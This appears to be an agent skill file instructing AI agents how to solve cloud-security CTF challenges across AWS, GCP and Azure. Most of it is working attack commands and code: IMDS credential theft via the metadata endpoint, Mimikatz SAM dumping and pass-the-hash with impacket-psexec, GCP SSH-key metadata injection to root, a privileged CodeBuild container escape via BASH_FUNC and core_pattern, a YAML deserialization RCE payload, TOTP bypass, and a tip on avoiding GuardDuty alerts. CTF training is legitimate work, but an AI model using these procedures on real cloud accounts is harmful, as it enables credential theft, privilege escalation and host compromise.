cloud-ctf

name	cloud-ctf
description	Lab/CTF: cloud security challenges; AWS/GCP/Azure creds, buckets, IAM, metadata, KMS/secrets, snapshots, object versions, identity chains.
license	MIT
compatibility	AgentSkills-compatible agents; authorized training and lab environments; aws-cli, gcloud, gsutil required.
metadata	{"author":"AeonDave","version":"1.1","category":"ctf-solving"}

Cloud CTF

Goal: solve cloud security CTF tasks by enumerating from a known entry point, confirming identity and permissions at every hop, and following the shortest validated path to the objective.

When this skill applies

• Leaked AWS access key / secret key pair in a challenge description.
• AWS ARN unique ID (AROA, AIDA, ASIA, AKIA prefix) to resolve.
• GCP service account JSON key file provided.
• Azure credentials, tenant/subscription context, managed-identity shell, storage URL, SAS token, or Key Vault clue provided.
• SSH access to a cloud VM instance.
• Challenge involves S3/GCS/Blob buckets, IAM roles, KMS keys, EC2 snapshots, Firestore, WorkDocs, Secret Manager, or cloud metadata.

Operating model

Entry point classification:
  A. AWS access key (AKIA.../ASIA...) → enumerate-iam → map services → pivot
  B. AWS unique ID (AROA/AIDA prefix) → resolve via IAM trust policy trick
  C. GCP service account key JSON → gcloud auth → enumerate roles → pivot
  D. Shell on cloud VM → IMDS metadata → credentials → enumerate
  E. Leaked URL / bucket name → anonymous access → authenticated list → versions
  F. Azure account/SAS/managed identity → az account show → role/scope/storage/key vault pivot

Loop:
  1. Identify and classify the entry point.
  2. Enumerate permissions with the smallest blast radius first.
  3. Map services accessible with current credentials.
  4. Pivot: recover deleted objects, assume roles, steal IMDS credentials.
  5. Repeat with each new credential set until the objective is reached.

Validation signal: flag value, decrypted file content, or secret value.

Do not brute-force services blindly — always start with identity confirmation and permission enumeration.

---

Phase 0 — Entry point classification

AWS unique ID resolution

AWS IAM unique IDs encode the principal type in the first 4 characters. When given an ID like AROAXYAFLIG2BLQFIIP34:

Prefix	Principal type
AIDA	IAM User
AROA	IAM Role
ASIA	Temporary session (STS)
AKIA	Long-term Access Key
AGPA	Group
AIPA	Instance Profile
ANPA	Managed Policy

Resolution technique: create a free AWS account → IAM → Roles → Create role → Custom trust policy:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "<UNIQUE_ID>"},
    "Action": "sts:AssumeRole"
  }]
}

Save it, then open the role → Trust relationships tab. AWS automatically resolves the unique ID to the full ARN. The ARN is the answer.

AWS access key setup

aws configure
# Enter: access key, secret key, region (usually us-east-1), format (json)

# Always confirm identity first
aws sts get-caller-identity

GCP service account key setup

gcloud auth activate-service-account --key-file=serviceaccount.json
gcloud config set project <project-id>

Azure context setup

az account show
az account list --output table
az account set --subscription <subscription-id>
az role assignment list --assignee <object-id> --all

---

Phase 1 — Permission enumeration

AWS: enumerate-iam (blind permission discovery)

git clone https://github.com/andresriancho/enumerate-iam
python3 enumerate-iam.py --access-key AKIA... --secret-key <secret>
# For temporary credentials (ASIA):
python3 enumerate-iam.py --access-key ASIA... --secret-key <secret> --session-token <token>

Focus on [INFO] lines with worked!. High-value discoveries to act on immediately:

Discovery	Next action
s3.list_buckets	List buckets, then check versioning
ds.describe_directories	Directory Service → WorkDocs
ec2.describe_snapshots	Snapshot forensics
ec2.describe_instances	Running VMs, instance profiles
kms.list_keys	KMS decryption
secretsmanager.list_secrets	Direct credential access
cognito-identity.list_identity_pools	Unauthenticated AWS credentials
dynamodb.list_tables	DynamoDB data enumeration
sqs.list_queues	Message queue access
ecs.list_clusters	Container task/credential access
apigateway.get_rest_apis	API discovery and API key extraction
cloudtrail.describe_trails	Activity log access

GCP: enumerate roles and permissions

# Try IAM policy (often denied, worth attempting)
gcloud projects get-iam-policy <project-id>

# List custom roles (frequently readable without broad permissions)
gcloud iam roles list --project <project-id>
gcloud iam roles describe <RoleName> --project <project-id>

Key permission to hunt for: compute.instances.setMetadata → privilege escalation.

Azure: enumerate role scope and data-plane access

az account show
az role assignment list --assignee <object-id> --all --output table
az storage account list --output table
az keyvault list --output table

Separate management-plane roles from data-plane permissions. A principal that can see a storage account or vault may still need blob/key/secret-specific access to recover data.

---

Phase 2 — Service-specific exploitation

AWS Cognito Identity Pools — unauthenticated credentials

Cognito Identity Pools issue temporary AWS credentials. If a pool allows unauthenticated identities, the pool ID itself can become the next credential source.

# With current AWS credentials, if permission enumeration found list/describe access:
aws cognito-identity list-identity-pools --max-results 60
aws cognito-identity describe-identity-pool --identity-pool-id <region:uuid>

# With a known identity pool ID from app config or source code:
IDENTITY_ID=$(aws cognito-identity get-id \
  --identity-pool-id <region:uuid> \
  --no-sign-request \
  --query 'IdentityId' --output text)
aws cognito-identity get-credentials-for-identity \
  --identity-id "$IDENTITY_ID" \
  --no-sign-request

CTF pattern: AllowUnauthenticatedIdentities: true plus an over-permissive unauth role gives a fresh AWS credential set.

AWS DynamoDB — table enumeration and scanning

aws dynamodb list-tables
aws dynamodb describe-table --table-name <table>
aws dynamodb scan --table-name <table> --limit 25

CTF pattern: Tables often contain credentials, Lambda configuration data, user records, or flag fragments.

AWS SQS — queue enumeration and message retrieval

aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names All
aws sqs receive-message --queue-url <url> --max-number-of-messages 10 --visibility-timeout 0

CTF pattern: Queues and dead-letter queues often contain service-to-service tokens, job payloads, or flag fragments.

AWS ECS — task definition secrets

aws ecs list-clusters
aws ecs list-task-definitions
aws ecs describe-task-definition --task-definition <family:revision>

CTF pattern: Task definitions expose environment variables, Secrets Manager references, image names, and IAM role assignments.

AWS API Gateway — API and key discovery

aws apigateway get-rest-apis
aws apigatewayv2 get-apis
aws apigateway get-api-keys
aws apigateway get-api-key --api-key <id> --include-value

CTF pattern: API names, stages, Lambda integrations, and leaked API key values often identify the next web/API target.

AWS CloudTrail — activity-log pivots

aws cloudtrail describe-trails
aws cloudtrail lookup-events --max-results 50
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --max-results 50

CTF pattern: Activity logs reveal prior AssumeRole, GetSecretValue, Decrypt, and service-discovery calls that point to the intended chain.

AWS S3 — versioning and deleted file recovery

aws s3 ls                                    # list accessible buckets
aws s3 ls s3://<bucket>/                     # list current contents

# Critical: deleted objects have preserved versions — always check
aws s3api list-object-versions --bucket <bucket>

# Recover a specific deleted version
aws s3api get-object \
  --bucket <bucket> --key <file> \
  --version-id <version-id> <output-file>

Deleted CSV files containing credentials are a common chain link.

AWS WorkDocs — Directory Service exfiltration

# Find directory ID and WorkDocs access URL
aws ds describe-directories

# Enumerate document activity — reveals document IDs and names
aws workdocs describe-activities --organization-id <directory-id>

# Get document metadata (includes presigned download URLs)
aws workdocs get-document --document-id <doc-id>

# Download using the LARGE thumbnail URL from the response
curl '<LARGE_url_from_response>' --output document.png

AWS Secrets Manager

aws secretsmanager list-secrets

# Get current version
aws secretsmanager get-secret-value --secret-id <name>

# List all versions (older versions often hold different credentials)
aws secretsmanager list-secret-version-ids --secret-id <name>
aws secretsmanager get-secret-value --secret-id <name> --version-id <id>

AWS KMS — encrypted file decryption

aws kms list-keys
aws kms list-aliases
aws kms describe-key --key-id <key-id>

# Verify a file is KMS-encrypted:
# file <blob> → "Windows Precompiled iNF" means KMS envelope format

# Decrypt
aws kms decrypt \
  --ciphertext-blob fileb://./encrypted.file \
  --key-id <key-id>
# Response.Plaintext is base64 — decode:
echo "<base64_plaintext>" | base64 -d > decrypted.ps1

Note: the decrypted PS1 often embeds the next set of IAM credentials directly as hardcoded variables.

AWS EC2 snapshot forensics

# Only list snapshots you own
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
aws ec2 describe-snapshots --filters Name=owner-id,Values=$ACCOUNT_ID

# Download snapshot as raw disk image
pip install dsnap
dsnap list
dsnap get <snap-id>        # outputs <snap-id>.img

# Inspect
file <snap-id>.img         # identifies filesystem (DOS/MBR, NTFS, etc.)

# Mount with guestfish
guestfish -a <snap-id>.img
><fs> run
><fs> list-filesystems
><fs> mount /dev/sda1 /
><fs> ll /
><fs> ll /WindowsImageBackup/          # Windows backup drive
><fs> copy-out '/WindowsImageBackup/<host>/Backup <date>/file.vhdx' /root/

VHDX chain (Windows backup snapshots):

# Mount the extracted VHDX
guestfish -a file.vhdx
><fs> run
><fs> list-filesystems   # usually /dev/sda2
><fs> mount /dev/sda2 /
><fs> ll /Windows/System32/config    # find SAM + SYSTEM
><fs> copy-out /Windows/System32/config/SAM /root/
><fs> copy-out /Windows/System32/config/SYSTEM /root/

Hash extraction: use Mimikatz from Windows (lsadump::sam /system:... /sam:...). samdump2 on Linux returns null hashes for EC2 Windows instances.

Pass-the-hash after extraction:

impacket-psexec -hashes :<NTLM_hash> Administrator@<public-ip>
# → SYSTEM shell → query IMDS for next credentials

IMDS credential theft (from inside a VM)

# AWS — IMDSv2 is default for new launches since 2024-03; try it first
TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Save AccessKeyId + SecretAccessKey + Token to ~/.aws/credentials

# Legacy IMDSv1 (only works if HttpTokens=optional on the instance)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# GCP
gcloud compute instances describe $(hostname)    # find attached SA
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

IMDS credentials are temporary (ASIA prefix for AWS) — always save the Token field too.

GCP metadata injection — privilege escalation

Requires compute.instances.setMetadata permission:

NEWUSER="attacker"
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
echo "$NEWUSER:$(cat ./key.pub)" > meta.txt
gcloud compute instances add-metadata <instance-name> --metadata-from-file ssh-keys=meta.txt
# New user is automatically added to google-sudoers group
ssh -i ./key $NEWUSER@localhost
sudo cat /root/flag.txt

GCP Storage — versioning and deleted file recovery

gcloud auth activate-service-account --key-file=key.json
gsutil ls                                          # list buckets
gsutil ls gs://<bucket>/                           # list contents
gsutil ls -a gs://<bucket>/<path>/                 # show ALL versions including deleted
gsutil cp 'gs://<bucket>/<path>#<generation>' .    # recover specific version

Config files deleted from buckets (firestore.json, .env) are a common chain link.

GCP Firestore — collection dump

// list-collections.js
const { initializeApp, cert } = require('firebase-admin/app');
const { getFirestore } = require('firebase-admin/firestore');
initializeApp({ credential: cert(require('./firestore.json')) });
const db = getFirestore();
db.listCollections().then(snap =>
  snap.forEach(s => console.log(s["_queryOptions"].collectionId))
);

// dump-collection.js
const db = getFirestore();
async function dump() {
  const snap = await db.collection('<collection>').get();
  snap.forEach(doc => console.log(doc.id, '=>', doc.data()));
}
dump();

Common data found: username, bcrypt password hash, base32 secret (TOTP seed).

TOTP bypass from recovered secret

# Any base32 string in recovered data is likely a TOTP seed
oathtool -b <BASE32_SECRET> --totp
python3 -c "import pyotp; print(pyotp.TOTP('<BASE32>').now())"

Combine with password reuse — try every recovered Secret Manager version as a login password before attempting to crack the bcrypt hash.

Azure Storage and Key Vault pivots

Use references/azure-service-cheatsheet.md for command details. In CTF tasks, prioritize:

• Storage account/container listing, blob versions, soft-deleted blobs, snapshots, and SAS-token scope.
• Key Vault secret/key/certificate listing and older secret versions.
• Managed identity tokens from an isolated VM or container shell.
• Role assignments at subscription, resource group, resource, and data-plane scopes.

---

Phase 3 — Credential pivoting

After every new credential set:

1. Confirm new identity.
2. Run enumerate-iam or gcloud iam roles describe.
3. Repeat Phase 2 with new permissions.

Common multi-hop chains:

AWS credential chain:
  AKIA#1 → s3:ListBuckets → list-object-versions → deleted CSV → AKIA#2
  AKIA#2 → ec2:DescribeSnapshots → dsnap → VHDX → Mimikatz → NTLM
  NTLM → impacket-psexec → SYSTEM → IMDS → ASIA (role with KMS)
  ASIA → kms:Decrypt → encrypted .ps1 → AKIA#3 embedded in plaintext
  AKIA#3 → secretsmanager:ListSecrets → flag or final secret

GCP credential chain:
  SA key (storage SA) → gsutil ls -a → deleted firestore.json
  firestore.json (Firestore SA) → list collections → user + TOTP seed
  SA key (storage SA) → gcloud secrets versions access v1 → reused password
  username + password(v1) + oathtool(seed) → web login → flag

ARN resolution:
  Unique ID (AROA...) → IAM trust policy trick → Trust relationships → ARN = flag

---

Category-specific quick pivots

• ARN unique ID given: create IAM trust policy with the ID → view Trust relationships → AWS auto-resolves to full ARN.
• Bucket challenge: always run list-object-versions / gsutil ls -a first.
• KMS challenge: get role via IMDS from inside the EC2 instance; use that role to decrypt.
• Snapshot challenge: look for WindowsImageBackup/ dir with .vhdx; Mimikatz not samdump2.
• GCP metadata challenge: find compute.instances.setMetadata in custom role → SSH key injection.
• Multi-service chain: draw the pivot graph before acting; document every identity and permission.
• Password reuse: try all recovered secrets (all SM versions) as login passwords before cracking.
• TOTP: any base32 string in recovered data is a TOTP seed — generate OTP immediately.
• Azure SAS token: parse permissions, resource type, expiry, and signed resource before assuming it grants list or read access.
• Azure Key Vault: check secret versions before treating the latest value as final.

AWS CodeBuild — privileged container escape

CodeBuild runs build commands inside Docker containers. If you can codebuild:CreateProject + codebuild:StartBuild:

cb.create_project(
    name="pwn",
    source={"type": "NO_SOURCE", "buildspec": BUILDSPEC},
    artifacts={"type": "NO_ARTIFACTS"},
    environment={
        "type": "LINUX_CONTAINER",
        "image": "<available-image>",
        "computeType": "BUILD_GENERAL1_SMALL",
        "privilegedMode": True,      # ALL capabilities including CAP_SYS_ADMIN
    },
    serviceRole="arn:aws:iam::<account>:role/<any-role>",
)
cb.start_build(
    projectName="pwn",
    environmentVariablesOverride=[...],  # env vars injected into container
    buildspecOverride=BUILDSPEC,         # override buildspec at build time
)

Entrypoint bypass via BASH_FUNC: If the image entrypoint checks $(id -u) with bash as /bin/sh, override id via env var:

environmentVariablesOverride=[
    {"name": "BASH_FUNC_id%%", "value": "() { echo uid=1000; }", "type": "PLAINTEXT"}
]

Bash imports BASH_FUNC_<name>%% as shell functions. The entrypoint's if [ "$(id -u)" = '0' ] calls the fake id, skips gosu, and the container runs as real root.

Host escape from privileged container: Use core_pattern to run commands as root on the host:

UDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
printf '#!/bin/sh\ncat /root/root.txt>%s/flag.txt\n' $UDIR $UDIR>/e.sh && chmod +x /e.sh
echo "|$UDIR/e.sh">/proc/sys/kernel/core_pattern
ulimit -c unlimited && bash -c 'kill -11 $$'
sleep 4 && cat /flag.txt

LocalStack / floci — mock AWS with real Docker execution

LocalStack and its fork floci emulate AWS services locally. Key attack surface:

• Unauthenticated by default: test/test creds or --no-sign-request grants full access
• Real Docker execution: ECS, CodeBuild, Lambda create actual Docker containers on the host
• Docker socket mounted: The floci container has /var/run/docker.sock — containers it spawns are siblings on the host
• Service enumeration: GET /_localstack/health or /_floci/health lists running services

CTF pattern: SSRF → IMDS → SQS worker RCE → CodeBuild privileged container → host escape

SQS worker YAML deserialization

If a worker polls SQS and uses yaml.load(body, Loader=yaml.Loader) (unsafe), inject code:

name: rce
script: |
  import subprocess
  subprocess.run(["cat", "/flag.txt"])

Alternative: !!python/object/apply:os.system ["command"] for direct YAML deserialization RCE.

Technique integration

Load for deep methodology:

• cloud-security-technique — full enumeration workflows, IAM paths, detection-aware pivoting.
• container-technique — container escape vectors including core_pattern, cgroups, Docker socket.

Tool routing

• aws-cli for AWS identity, IAM, S3, KMS, Secrets Manager, EC2, DS, WorkDocs, and IMDS-assisted pivots.
• gcloud-cli for GCP IAM, Storage, Compute metadata, Secret Manager, Firestore, Functions, and GKE pivots.
• Azure CLI (az) for Azure account context, RBAC, Storage, Key Vault, and managed identity pivots.
• pacu when an AWS task needs broader permission mapping in an isolated lab.
• gitleaks and trufflehog when cloud credentials or service-account keys may be hidden in repositories or archives.
• john, hashcat, and TOTP tooling only after recovered secrets and password reuse have been tested.

Quality gates

• Confirm identity before every service call.
• Run list-object-versions / gsutil ls -a before concluding a bucket is empty.
• Run enumerate-iam on every new credential set.
• Verify KMS file format with file utility before decrypting.
• Use Mimikatz (not samdump2) for EC2 Windows SAM.
• Record the pivot graph: identity → permission → service → output → next identity.

Anti-patterns

• Skipping list-object-versions on S3/GCS buckets.
• Using samdump2 on EC2 Windows SAM → null hash output.
• Using IMDS credentials from your local machine → GuardDuty alert.
• Cracking bcrypt hashes before trying password reuse from recovered secrets.
• Treating AccessDenied as dead-end — try versioned objects, different key IDs, or other services.

Resources

• references/aws-service-cheatsheet.md — quick CLI reference per AWS service (S3, KMS, STS, Secrets Manager, WorkDocs, EC2, DS).
• references/gcp-service-cheatsheet.md — quick CLI reference for GCP (gsutil, gcloud, Firestore SDK, metadata injection).
• references/azure-service-cheatsheet.md — quick CLI reference for Azure identity, RBAC, Storage, Key Vault, and managed identity.
• references/iam-escalation-and-ssrf-chains.md — Load when you have a low-privilege identity or SSRF and need to chain IAM actions, assume roles, or reach secrets/buckets via IMDS or service pivots.